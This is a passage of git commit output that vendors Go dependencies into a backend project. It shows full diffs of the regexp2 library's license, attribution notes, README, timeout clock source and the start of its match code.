backend/vendor/github.com/go-rod/rod/lib/proto/definitions.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/device_access.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/device_orientation.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/dom.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/dom_debugger.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/dom_snapshot.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/dom_storage.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/emulation.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/event_breakpoints.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/extensions.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/fed_cm.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/fetch.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/headless_experimental.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/heap_profiler.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/indexed_db.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/input.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/inspector.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/io.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/layer_tree.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/log.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/media.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/memory.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/network.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/overlay.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/page.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/performance.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/performance_timeline.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/preload.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/profiler.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/pwa.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/runtime.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/schema.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/security.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/service_worker.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/storage.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/system_info.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/target.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/tethering.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/tracing.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/web_audio.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/proto/web_authn.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/utils/imageutil.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/utils/sleeper.go create mode 100644 backend/vendor/github.com/go-rod/rod/lib/utils/utils.go create mode 100644 backend/vendor/github.com/go-rod/rod/must.go create mode 100644 backend/vendor/github.com/go-rod/rod/page.go create mode 100644 backend/vendor/github.com/go-rod/rod/page_eval.go create mode 100644 backend/vendor/github.com/go-rod/rod/query.go create mode 100644 backend/vendor/github.com/go-rod/rod/states.go create mode 100644 backend/vendor/github.com/go-rod/rod/utils.go create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/.travis.yml create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/LICENSE create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/Makefile create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/README.md create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/consumer.go create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/internal/base64vlq/base64vlq.go create mode 100644 backend/vendor/github.com/go-sourcemap/sourcemap/mappings.go create mode 100644 backend/vendor/github.com/gorilla/websocket/.gitignore create mode 100644 backend/vendor/github.com/gorilla/websocket/AUTHORS create mode 100644 backend/vendor/github.com/gorilla/websocket/LICENSE create mode 100644 backend/vendor/github.com/gorilla/websocket/README.md create mode 100644 backend/vendor/github.com/gorilla/websocket/client.go create mode 100644 backend/vendor/github.com/gorilla/websocket/compression.go create mode 100644 backend/vendor/github.com/gorilla/websocket/conn.go create mode 100644 backend/vendor/github.com/gorilla/websocket/doc.go create mode 100644 backend/vendor/github.com/gorilla/websocket/join.go create mode 100644 backend/vendor/github.com/gorilla/websocket/json.go create mode 100644 backend/vendor/github.com/gorilla/websocket/mask.go create mode 100644 backend/vendor/github.com/gorilla/websocket/mask_safe.go create mode 100644 backend/vendor/github.com/gorilla/websocket/prepared.go create mode 100644 backend/vendor/github.com/gorilla/websocket/proxy.go create mode 100644 backend/vendor/github.com/gorilla/websocket/server.go create mode 100644 backend/vendor/github.com/gorilla/websocket/tls_handshake.go create mode 100644 backend/vendor/github.com/gorilla/websocket/tls_handshake_116.go create mode 100644 backend/vendor/github.com/gorilla/websocket/util.go create mode 100644 backend/vendor/github.com/gorilla/websocket/x_net_proxy.go create mode 100644 backend/vendor/github.com/ysmood/fetchup/.gitignore create mode 100644 backend/vendor/github.com/ysmood/fetchup/LICENSE create mode 100644 backend/vendor/github.com/ysmood/fetchup/README.md create mode 100644 backend/vendor/github.com/ysmood/fetchup/download.go create mode 100644 backend/vendor/github.com/ysmood/fetchup/events.go create mode 100644 backend/vendor/github.com/ysmood/fetchup/fetchup.go create mode 100644 backend/vendor/github.com/ysmood/fetchup/utils.go create mode 100644 backend/vendor/github.com/ysmood/goob/.gitignore create mode 100644 backend/vendor/github.com/ysmood/goob/.golangci.yml create mode 100644 backend/vendor/github.com/ysmood/goob/LICENSE create mode 100644 backend/vendor/github.com/ysmood/goob/goob.go create mode 100644 backend/vendor/github.com/ysmood/goob/pipe.go create mode 100644 backend/vendor/github.com/ysmood/goob/readme.md create mode 100644 backend/vendor/github.com/ysmood/got/LICENSE create mode 100644 backend/vendor/github.com/ysmood/got/lib/lcs/lcs.go create mode 100644 backend/vendor/github.com/ysmood/got/lib/lcs/sequence.go create mode 100644 backend/vendor/github.com/ysmood/got/lib/lcs/utils.go create mode 100644 backend/vendor/github.com/ysmood/gson/.gitignore create mode 100644 backend/vendor/github.com/ysmood/gson/LICENSE create mode 100644 backend/vendor/github.com/ysmood/gson/README.md create mode 100644 backend/vendor/github.com/ysmood/gson/read.go create mode 100644 backend/vendor/github.com/ysmood/gson/write.go create mode 100644 backend/vendor/github.com/ysmood/leakless/.gitignore create mode 100644 backend/vendor/github.com/ysmood/leakless/.golangci.yml create mode 100644 backend/vendor/github.com/ysmood/leakless/LICENSE create mode 100644 backend/vendor/github.com/ysmood/leakless/bin_amd64_darwin.go create mode 100644 backend/vendor/github.com/ysmood/leakless/bin_amd64_linux.go create mode 100644 backend/vendor/github.com/ysmood/leakless/bin_amd64_windows.go create mode 100644 backend/vendor/github.com/ysmood/leakless/bin_arm64_darwin.go create mode 100644 backend/vendor/github.com/ysmood/leakless/bin_arm64_linux.go create mode 100644 backend/vendor/github.com/ysmood/leakless/leakless.go create mode 100644 backend/vendor/github.com/ysmood/leakless/pkg/shared/message.go create mode 100644 backend/vendor/github.com/ysmood/leakless/pkg/shared/version.go create mode 100644 backend/vendor/github.com/ysmood/leakless/pkg/utils/target.go create mode 100644 backend/vendor/github.com/ysmood/leakless/pkg/utils/utils.go create mode 100644 backend/vendor/github.com/ysmood/leakless/readme.md create mode 100644 backend/vendor/golang.org/x/text/collate/collate.go create mode 100644 backend/vendor/golang.org/x/text/collate/index.go create mode 100644 backend/vendor/golang.org/x/text/collate/option.go create mode 100644 backend/vendor/golang.org/x/text/collate/sort.go create mode 100644 backend/vendor/golang.org/x/text/collate/tables.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/collelem.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/colltab.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/contract.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/iter.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/numeric.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/table.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/trie.go create mode 100644 backend/vendor/golang.org/x/text/internal/colltab/weighter.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/merge.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/rangetable.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/tables10.0.0.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/tables11.0.0.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/tables12.0.0.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/tables13.0.0.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/tables15.0.0.go create mode 100644 backend/vendor/golang.org/x/text/unicode/rangetable/tables9.0.0.go delete mode 100644 tmp/google-poc.html diff --git a/backend/vendor/github.com/dlclark/regexp2/.gitignore b/backend/vendor/github.com/dlclark/regexp2/.gitignore new file mode 100644 index 0000000..fb844c3 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/.gitignore @@ -0,0 +1,27 @@ +# Compiled Object files, Static and Dynamic libs (Shared Objects) +*.o +*.a +*.so + +# Folders +_obj +_test + +# Architecture specific extensions/prefixes +*.[568vq] +[568vq].out + +*.cgo1.go +*.cgo2.c +_cgo_defun.c +_cgo_gotypes.go +_cgo_export.* + +_testmain.go + +*.exe +*.test +*.prof +*.out + +.DS_Store diff --git a/backend/vendor/github.com/dlclark/regexp2/.travis.yml b/backend/vendor/github.com/dlclark/regexp2/.travis.yml new file mode 100644 index 0000000..a2da6be --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/.travis.yml @@ -0,0 +1,7 @@ +language: go +arch: + - AMD64 + - ppc64le +go: + - 1.9 + - tip diff --git a/backend/vendor/github.com/dlclark/regexp2/ATTRIB b/backend/vendor/github.com/dlclark/regexp2/ATTRIB new file mode 100644 index 0000000..cdf4560 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/ATTRIB @@ -0,0 +1,133 @@ +============ +These pieces of code were ported from dotnet/corefx: + +syntax/charclass.go (from RegexCharClass.cs): ported to use the built-in Go unicode classes. Canonicalize is + a direct port, but most of the other code required large changes because the C# implementation + used a string to represent the CharSet data structure and I cleaned that up in my implementation. + +syntax/code.go (from RegexCode.cs): ported literally with various cleanups and layout to make it more Go-ish. + +syntax/escape.go (from RegexParser.cs): ported Escape method and added some optimizations. Unescape is inspired by + the C# implementation but couldn't be directly ported because of the lack of do-while syntax in Go. + +syntax/parser.go (from RegexpParser.cs and RegexOptions.cs): ported parser struct and associated methods as + literally as possible. Several language differences required changes. E.g. lack pre/post-fix increments as + expressions, lack of do-while loops, lack of overloads, etc. + +syntax/prefix.go (from RegexFCD.cs and RegexBoyerMoore.cs): ported as literally as possible and added support + for unicode chars that are longer than the 16-bit char in C# for the 32-bit rune in Go. + +syntax/replacerdata.go (from RegexReplacement.cs): conceptually ported and re-organized to handle differences + in charclass implementation, and fix odd code layout between RegexParser.cs, Regex.cs, and RegexReplacement.cs. + +syntax/tree.go (from RegexTree.cs and RegexNode.cs): ported literally as possible. + +syntax/writer.go (from RegexWriter.cs): ported literally with minor changes to make it more Go-ish. + +match.go (from RegexMatch.cs): ported, simplified, and changed to handle Go's lack of inheritence. + +regexp.go (from Regex.cs and RegexOptions.cs): conceptually serves the same "starting point", but is simplified + and changed to handle differences in C# strings and Go strings/runes. + +replace.go (from RegexReplacement.cs): ported closely and then cleaned up to combine the MatchEvaluator and + simple string replace implementations. + +runner.go (from RegexRunner.cs): ported literally as possible. + +regexp_test.go (from CaptureTests.cs and GroupNamesAndNumbers.cs): conceptually ported, but the code was + manually structured like Go tests. + +replace_test.go (from RegexReplaceStringTest0.cs): conceptually ported + +rtl_test.go (from RightToLeft.cs): conceptually ported +--- +dotnet/corefx was released under this license: + +The MIT License (MIT) + +Copyright (c) Microsoft Corporation + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + +============ +These pieces of code are copied from the Go framework: + +- The overall directory structure of regexp2 was inspired by the Go runtime regexp package. +- The optimization in the escape method of syntax/escape.go is from the Go runtime QuoteMeta() func in regexp/regexp.go +- The method signatures in regexp.go are designed to match the Go framework regexp methods closely +- func regexp2.MustCompile and func quote are almost identifical to the regexp package versions +- BenchmarkMatch* and TestProgramTooLong* funcs in regexp_performance_test.go were copied from the framework + regexp/exec_test.go +--- +The Go framework was released under this license: + +Copyright (c) 2012 The Go Authors. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of Google Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +============ +Some test data were gathered from the Mono project. + +regexp_mono_test.go: ported from https://github.com/mono/mono/blob/master/mcs/class/System/Test/System.Text.RegularExpressions/PerlTrials.cs +--- +Mono tests released under this license: + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + diff --git a/backend/vendor/github.com/dlclark/regexp2/LICENSE b/backend/vendor/github.com/dlclark/regexp2/LICENSE new file mode 100644 index 0000000..fe83dfd --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) Doug Clark + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/backend/vendor/github.com/dlclark/regexp2/README.md b/backend/vendor/github.com/dlclark/regexp2/README.md new file mode 100644 index 0000000..9cbc1d8 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/README.md @@ -0,0 +1,174 @@ +# regexp2 - full featured regular expressions for Go +Regexp2 is a feature-rich RegExp engine for Go. It doesn't have constant time guarantees like the built-in `regexp` package, but it allows backtracking and is compatible with Perl5 and .NET. You'll likely be better off with the RE2 engine from the `regexp` package and should only use this if you need to write very complex patterns or require compatibility with .NET. + +## Basis of the engine +The engine is ported from the .NET framework's System.Text.RegularExpressions.Regex engine. That engine was open sourced in 2015 under the MIT license. There are some fundamental differences between .NET strings and Go strings that required a bit of borrowing from the Go framework regex engine as well. I cleaned up a couple of the dirtier bits during the port (regexcharclass.cs was terrible), but the parse tree, code emmitted, and therefore patterns matched should be identical. + +## New Code Generation +For extra performance use `regexp2` with [`regexp2cg`](https://github.com/dlclark/regexp2cg). It is a code generation utility for `regexp2` and you can likely improve your regexp runtime performance by 3-10x in hot code paths. As always you should benchmark your specifics to confirm the results. Give it a try! + +## Installing +This is a go-gettable library, so install is easy: + + go get github.com/dlclark/regexp2 + +To use the new Code Generation (while it's in beta) you'll need to use the `code_gen` branch: + + go get github.com/dlclark/regexp2@code_gen + +## Usage +Usage is similar to the Go `regexp` package. Just like in `regexp`, you start by converting a regex into a state machine via the `Compile` or `MustCompile` methods. They ultimately do the same thing, but `MustCompile` will panic if the regex is invalid. You can then use the provided `Regexp` struct to find matches repeatedly. A `Regexp` struct is safe to use across goroutines. + +```go +re := regexp2.MustCompile(`Your pattern`, 0) +if isMatch, _ := re.MatchString(`Something to match`); isMatch { + //do something +} +``` + +The only error that the `*Match*` methods *should* return is a Timeout if you set the `re.MatchTimeout` field. Any other error is a bug in the `regexp2` package. If you need more details about capture groups in a match then use the `FindStringMatch` method, like so: + +```go +if m, _ := re.FindStringMatch(`Something to match`); m != nil { + // the whole match is always group 0 + fmt.Printf("Group 0: %v\n", m.String()) + + // you can get all the groups too + gps := m.Groups() + + // a group can be captured multiple times, so each cap is separately addressable + fmt.Printf("Group 1, first capture", gps[1].Captures[0].String()) + fmt.Printf("Group 1, second capture", gps[1].Captures[1].String()) +} +``` + +Group 0 is embedded in the Match. Group 0 is an automatically-assigned group that encompasses the whole pattern. This means that `m.String()` is the same as `m.Group.String()` and `m.Groups()[0].String()` + +The __last__ capture is embedded in each group, so `g.String()` will return the same thing as `g.Capture.String()` and `g.Captures[len(g.Captures)-1].String()`. + +If you want to find multiple matches from a single input string you should use the `FindNextMatch` method. For example, to implement a function similar to `regexp.FindAllString`: + +```go +func regexp2FindAllString(re *regexp2.Regexp, s string) []string { + var matches []string + m, _ := re.FindStringMatch(s) + for m != nil { + matches = append(matches, m.String()) + m, _ = re.FindNextMatch(m) + } + return matches +} +``` + +`FindNextMatch` is optmized so that it re-uses the underlying string/rune slice. + +The internals of `regexp2` always operate on `[]rune` so `Index` and `Length` data in a `Match` always reference a position in `rune`s rather than `byte`s (even if the input was given as a string). This is a dramatic difference between `regexp` and `regexp2`. It's advisable to use the provided `String()` methods to avoid having to work with indices. + +## Compare `regexp` and `regexp2` +| Category | regexp | regexp2 | +| --- | --- | --- | +| Catastrophic backtracking possible | no, constant execution time guarantees | yes, if your pattern is at risk you can use the `re.MatchTimeout` field | +| Python-style capture groups `(?Pre)` | yes | no (yes in RE2 compat mode) | +| .NET-style capture groups `(?re)` or `(?'name're)` | no | yes | +| comments `(?#comment)` | no | yes | +| branch numbering reset `(?\|a\|b)` | no | no | +| possessive match `(?>re)` | no | yes | +| positive lookahead `(?=re)` | no | yes | +| negative lookahead `(?!re)` | no | yes | +| positive lookbehind `(?<=re)` | no | yes | +| negative lookbehind `(?re)`) +* change singleline behavior for `$` to only match end of string (like RE2) (see [#24](https://github.com/dlclark/regexp2/issues/24)) +* change the character classes `\d` `\s` and `\w` to match the same characters as RE2. NOTE: if you also use the `ECMAScript` option then this will change the `\s` character class to match ECMAScript instead of RE2. ECMAScript allows more whitespace characters in `\s` than RE2 (but still fewer than the the default behavior). +* allow character escape sequences to have defaults. For example, by default `\_` isn't a known character escape and will fail to compile, but in RE2 mode it will match the literal character `_` + +```go +re := regexp2.MustCompile(`Your RE2-compatible pattern`, regexp2.RE2) +if isMatch, _ := re.MatchString(`Something to match`); isMatch { + //do something +} +``` + +This feature is a work in progress and I'm open to ideas for more things to put here (maybe more relaxed character escaping rules?). + +## Catastrophic Backtracking and Timeouts + +`regexp2` supports features that can lead to catastrophic backtracking. +`Regexp.MatchTimeout` can be set to to limit the impact of such behavior; the +match will fail with an error after approximately MatchTimeout. No timeout +checks are done by default. + +Timeout checking is not free. The current timeout checking implementation starts +a background worker that updates a clock value approximately once every 100 +milliseconds. The matching code compares this value against the precomputed +deadline for the match. The performance impact is as follows. + +1. A match with a timeout runs almost as fast as a match without a timeout. +2. If any live matches have a timeout, there will be a background CPU load + (`~0.15%` currently on a modern machine). This load will remain constant + regardless of the number of matches done including matches done in parallel. +3. If no live matches are using a timeout, the background load will remain + until the longest deadline (match timeout + the time when the match started) + is reached. E.g., if you set a timeout of one minute the load will persist + for approximately a minute even if the match finishes quickly. + +See [PR #58](https://github.com/dlclark/regexp2/pull/58) for more details and +alternatives considered. + +## Goroutine leak error +If you're using a library during unit tests (e.g. https://github.com/uber-go/goleak) that validates all goroutines are exited then you'll likely get an error if you or any of your dependencies use regex's with a MatchTimeout. +To remedy the problem you'll need to tell the unit test to wait until the backgroup timeout goroutine is exited. + +```go +func TestSomething(t *testing.T) { + defer goleak.VerifyNone(t) + defer regexp2.StopTimeoutClock() + + // ... test +} + +//or + +func TestMain(m *testing.M) { + // setup + // ... + + // run + m.Run() + + //tear down + regexp2.StopTimeoutClock() + goleak.VerifyNone(t) +} +``` + +This will add ~100ms runtime to each test (or TestMain). If that's too much time you can set the clock cycle rate of the timeout goroutine in an init function in a test file. `regexp2.SetTimeoutCheckPeriod` isn't threadsafe so it must be setup before starting any regex's with Timeouts. + +```go +func init() { + //speed up testing by making the timeout clock 1ms + regexp2.SetTimeoutCheckPeriod(time.Millisecond) +} +``` + +## ECMAScript compatibility mode +In this mode the engine provides compatibility with the [regex engine](https://tc39.es/ecma262/multipage/text-processing.html#sec-regexp-regular-expression-objects) described in the ECMAScript specification. + +Additionally a Unicode mode is provided which allows parsing of `\u{CodePoint}` syntax that is only when both are provided. + +## Library features that I'm still working on +- Regex split + +## Potential bugs +I've run a battery of tests against regexp2 from various sources and found the debug output matches the .NET engine, but .NET and Go handle strings very differently. I've attempted to handle these differences, but most of my testing deals with basic ASCII with a little bit of multi-byte Unicode. There's a chance that there are bugs in the string handling related to character sets with supplementary Unicode chars. Right-to-Left support is coded, but not well tested either. + +## Find a bug? +I'm open to new issues and pull requests with tests if you find something odd! diff --git a/backend/vendor/github.com/dlclark/regexp2/fastclock.go b/backend/vendor/github.com/dlclark/regexp2/fastclock.go new file mode 100644 index 0000000..caf2c9d --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/fastclock.go @@ -0,0 +1,129 @@ +package regexp2 + +import ( + "sync" + "sync/atomic" + "time" +) + +// fasttime holds a time value (ticks since clock initialization) +type fasttime int64 + +// fastclock provides a fast clock implementation. +// +// A background goroutine periodically stores the current time +// into an atomic variable. +// +// A deadline can be quickly checked for expiration by comparing +// its value to the clock stored in the atomic variable. +// +// The goroutine automatically stops once clockEnd is reached. +// (clockEnd covers the largest deadline seen so far + some +// extra time). This ensures that if regexp2 with timeouts +// stops being used we will stop background work. +type fastclock struct { + // instances of atomicTime must be at the start of the struct (or at least 64-bit aligned) + // otherwise 32-bit architectures will panic + + current atomicTime // Current time (approximate) + clockEnd atomicTime // When clock updater is supposed to stop (>= any existing deadline) + + // current and clockEnd can be read via atomic loads. + // Reads and writes of other fields require mu to be held. + mu sync.Mutex + start time.Time // Time corresponding to fasttime(0) + running bool // Is a clock updater running? +} + +var fast fastclock + +// reached returns true if current time is at or past t. +func (t fasttime) reached() bool { + return fast.current.read() >= t +} + +// makeDeadline returns a time that is approximately time.Now().Add(d) +func makeDeadline(d time.Duration) fasttime { + // Increase the deadline since the clock we are reading may be + // just about to tick forwards. + end := fast.current.read() + durationToTicks(d+clockPeriod) + + // Start or extend clock if necessary. + if end > fast.clockEnd.read() { + extendClock(end) + } + return end +} + +// extendClock ensures that clock is live and will run until at least end. +func extendClock(end fasttime) { + fast.mu.Lock() + defer fast.mu.Unlock() + + if fast.start.IsZero() { + fast.start = time.Now() + } + + // Extend the running time to cover end as well as a bit of slop. + if shutdown := end + durationToTicks(time.Second); shutdown > fast.clockEnd.read() { + fast.clockEnd.write(shutdown) + } + + // Start clock if necessary + if !fast.running { + fast.running = true + go runClock() + } +} + +// stop the timeout clock in the background +// should only used for unit tests to abandon the background goroutine +func stopClock() { + fast.mu.Lock() + if fast.running { + fast.clockEnd.write(fasttime(0)) + } + fast.mu.Unlock() + + // pause until not running + // get and release the lock + isRunning := true + for isRunning { + time.Sleep(clockPeriod / 2) + fast.mu.Lock() + isRunning = fast.running + fast.mu.Unlock() + } +} + +func durationToTicks(d time.Duration) fasttime { + // Downscale nanoseconds to approximately a millisecond so that we can avoid + // overflow even if the caller passes in math.MaxInt64. + return fasttime(d) >> 20 +} + +const DefaultClockPeriod = 100 * time.Millisecond + +// clockPeriod is the approximate interval between updates of approximateClock. +var clockPeriod = DefaultClockPeriod + +func runClock() { + fast.mu.Lock() + defer fast.mu.Unlock() + + for fast.current.read() <= fast.clockEnd.read() { + // Unlock while sleeping. + fast.mu.Unlock() + time.Sleep(clockPeriod) + fast.mu.Lock() + + newTime := durationToTicks(time.Since(fast.start)) + fast.current.write(newTime) + } + fast.running = false +} + +type atomicTime struct{ v int64 } // Should change to atomic.Int64 when we can use go 1.19 + +func (t *atomicTime) read() fasttime { return fasttime(atomic.LoadInt64(&t.v)) } +func (t *atomicTime) write(v fasttime) { atomic.StoreInt64(&t.v, int64(v)) } diff --git a/backend/vendor/github.com/dlclark/regexp2/match.go b/backend/vendor/github.com/dlclark/regexp2/match.go new file mode 100644 index 0000000..759cf8c --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/match.go @@ -0,0 +1,349 @@ +package regexp2 + +import ( + "bytes" + "fmt" +) + +// Match is a single regex result match that contains groups and repeated captures +// +// -Groups +// -Capture +type Match struct { + Group //embeded group 0 + + regex *Regexp + otherGroups []Group + + // input to the match + textpos int + textstart int + + capcount int + caps []int + sparseCaps map[int]int + + // output from the match + matches [][]int + matchcount []int + + // whether we've done any balancing with this match. If we + // have done balancing, we'll need to do extra work in Tidy(). + balancing bool +} + +// Group is an explicit or implit (group 0) matched group within the pattern +type Group struct { + Capture // the last capture of this group is embeded for ease of use + + Name string // group name + Captures []Capture // captures of this group +} + +// Capture is a single capture of text within the larger original string +type Capture struct { + // the original string + text []rune + // Index is the position in the underlying rune slice where the first character of + // captured substring was found. Even if you pass in a string this will be in Runes. + Index int + // Length is the number of runes in the captured substring. + Length int +} + +// String returns the captured text as a String +func (c *Capture) String() string { + return string(c.text[c.Index : c.Index+c.Length]) +} + +// Runes returns the captured text as a rune slice +func (c *Capture) Runes() []rune { + return c.text[c.Index : c.Index+c.Length] +} + +func newMatch(regex *Regexp, capcount int, text []rune, startpos int) *Match { + m := Match{ + regex: regex, + matchcount: make([]int, capcount), + matches: make([][]int, capcount), + textstart: startpos, + balancing: false, + } + m.Name = "0" + m.text = text + m.matches[0] = make([]int, 2) + return &m +} + +func newMatchSparse(regex *Regexp, caps map[int]int, capcount int, text []rune, startpos int) *Match { + m := newMatch(regex, capcount, text, startpos) + m.sparseCaps = caps + return m +} + +func (m *Match) reset(text []rune, textstart int) { + m.text = text + m.textstart = textstart + for i := 0; i < len(m.matchcount); i++ { + m.matchcount[i] = 0 + } + m.balancing = false +} + +func (m *Match) tidy(textpos int) { + + interval := m.matches[0] + m.Index = interval[0] + m.Length = interval[1] + m.textpos = textpos + m.capcount = m.matchcount[0] + //copy our root capture to the list + m.Group.Captures = 